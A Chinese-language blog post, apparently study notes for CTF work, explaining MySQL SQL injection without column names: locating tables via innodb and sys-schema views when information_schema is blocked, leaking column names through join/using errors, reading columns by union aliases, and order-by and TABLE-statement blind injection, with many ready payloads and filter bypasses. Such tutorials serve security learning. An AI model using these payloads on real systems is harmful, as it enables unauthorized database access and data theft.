Featured image of post 无列名注入

无列名注入

无列名注入

sql注入一般都会用到information_schema这个库(mysql自带的库),所以ban掉这个表是一个很好的防御手段,这时候就可以使用无列名注入来绕过。

InnoDb引擎

mysql 5.5.8之后开始使用InnoDb作为默认引擎,mysql 5.6的InnoDb增加了innodb_index_statsinnodb_table_stats两张表

这两张表记录了数据库和表的信息,但是没有列名

1
2
select group_concat(database_name) from mysql.innodb_index_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()

sys库

MySQL 5.7开始增加了sys库,这个库可以用于快速了解系统元数据信息。sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。

sys.schema_auto_increment_columns

这个视图用于保存有自增字段的数据库信息,一般设计表时都会设置自增字段(如id)

1
2
3
4
#查询数据库名
select table_schema from sys.schema_auto_increment_columns
#查询表名
select table_name from sys.schema_auto_increment_columns where table_schema=databse()

schema_table_statistics_with_buffer

不存在自增字段时使用schema_table_statistics_with_buffer

1
2
3
4
5
6
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
select table_schema from sys.x$schema_table_statistics_with_buffer;
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=database();

无列名注入

上述的innodb引擎的表和sys库的表都无法查到列名,这里就需要使用无列名注入。

join、using

join用于合并两个表,using表示使用什么字段进行连接,用using指定了连接字段则查询结果只返回连接字段

1
select * from user as b join user using(id) as c

这里使用id进行连接,只会返回id列

思路:利用join合并同一表,报错重复的列名,再利用using爆出所有的列名,union select需要前后查询的字段数一样,不然会报错

1
2
3
4
5
6
7
8
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;

子查询

利用union联合查询构造列名

1
select 1,2,3,4 union select * from users
1
2
3
select `2` from (select 1,2,3,4 union select * from users)a
select a.2 from (select 1,2,3,4 union select * from users)a
#记得第一个2加反引号,或者使用a.2
1
2
3
4
5
select * from user where id='-1' union select 1,2,group_concat(`3`) from (select 1,2,3 union select * from user)x;
 
select * from user where id='-1' union select 1,2,group_concat(x.3) from (select 1,2,3 union select * from users)x;
 
select * from user where id='-1' union select 1,2,group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x;

order by盲注

order by对结果进行排序:0-9 a-z,不区分大小写

1
2
3
select * from user where id='id' union select 1,2,'o' order by 3;
select * from user where id='id' union select 1,2,'p' order by 3;
select * from user where id='id' union select 1,2,'q' order by 3;

不使用表名查询

正常的 sql 查询如下:

1
select * from `admin`;

其中,列名为 id、name、password,使用 union 查询:

1
select 1,2,3 union select * from admin;

如图,我们的列名被替换为了对应的数字。也就是说,我们可以继续数字来对应列,如 3 对应了表里面的 password:

1
select `3` from (select 1,2,3 union select * from admin)a;

末尾的 a 可以是任意字符,用于命名。

当然,多数情况下,` 会被过滤。当 ```不能使用的时候,使用别名来代替:

1
select b from (select 1,2,3 as b union select * from admin)a;

同时查询多个列:

1
select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;

payload

1
select a,b from posts where a=-1 union select 1,(select concat(`3`,0x2d,`4`) from (select 1,2,3,4,5,6 union select * from xxx)a limit 1,1);

盲注

1
((SELECT 1,concat('{result+chr(mid)}', cast("0" as JSON)))<(SELECT * FROM `f1ag_1s_h3r3_hhhhh`))

无select

mysql 8.0.19新增语句table

可以把table t简单理解成select * from t,和select的区别在于

  • table总是显示表的所有列
  • table不允许任何的行过滤;也就是说,TABLE不支持任何WHERE子句。 可以用来盲注表名
1
2
admin'and\x0a(table\x0ainformation_schema.TABLESPACES_EXTENSIONS\x0alimit\x0a7,1)>
(BINARY('{}'),'0')#

同时代替select被过滤导致只能同表查询的问题

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计